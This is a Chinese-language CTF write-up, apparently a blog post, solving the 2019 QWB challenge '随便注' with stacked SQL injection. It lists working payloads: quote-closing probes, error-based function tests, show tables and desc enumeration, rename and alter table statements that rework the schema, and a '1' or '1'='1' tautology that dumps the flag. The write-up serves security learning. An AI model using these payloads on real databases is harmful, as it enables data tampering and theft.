CTF [强网杯 2019]随便注 Writeup 堆叠注入
讲道理,最不虚的就是注入了。
随意加上单引号。
单引号闭合,尝试1' and 1=2 #
无回显,应该成功执行了,再来1=1
确认下。
又有报错信息,想着直接上updatexml()
。
结果报错,又试了exp()
和extractvalue()
,结果exp()
到是能用,extractvalue()
直接报无函数 。。。
不过有函数也没意义阿。因为select
也被检测了,尝试了若干方法绕过后,放弃。。。
看来这题有别的思路,常规的几种不行,然后试了下堆叠注入。。。还真成了。
其实这里早就该想到的了,如果不是想考堆叠注入
,那为啥要用var_dump()
打印数据呢,正常肯定用mysqli_xxx
处理语句了。
通过show tables
可以看到表。
通过desc
可以看到表结构,注意查纯数字的表名的时候,一定要加上重单符,即反引号。
desc `1919810931114514`
确定1919810931114514
就是要查的表。
接下来就是怎么不用select
拿到数据了。因为不会绕过就想起了原来上传一句话的时候,没有上传权限,就直接改人家的主页。。。
这次我直接把words
表给删除,然后把1919810931114514
改成words
就好了。
居然忘了,这个也被干掉了,不过还好,还有一个rename
。。。
1';rename table `words` to `xxx`;rename table `1919810931114514` to `words`%23
又发现字段不一样。。。
1';alter table `words` change "flag" "id" varchar(100);%23
我擦,玩坏了,没这个id
字段了,没法注入了。。。重开!!!
这次换个顺序,先把flag
改成id
,再换表名。。。
1';alter table `1919810931114514` change "flag" "id" varchar(100);%23
1`; desc `1919810931114514`;%23
可算是改好了,再来改名
1';rename table `words` to `xxx`;rename table `1919810931114514` to `words`%23
然后再来读一次!!
卧槽,空白的,忘了,flag
字段的内容不一定为1
阿,惨了。。。
慌了一会,马上想到了万能密码,手动狗头。
1' or '1'='1
OKOK
,刺激,要是真实环境,可没有重来的机会。。。
上一篇: CTF jpg thumbnail隐写
下一篇: Date命令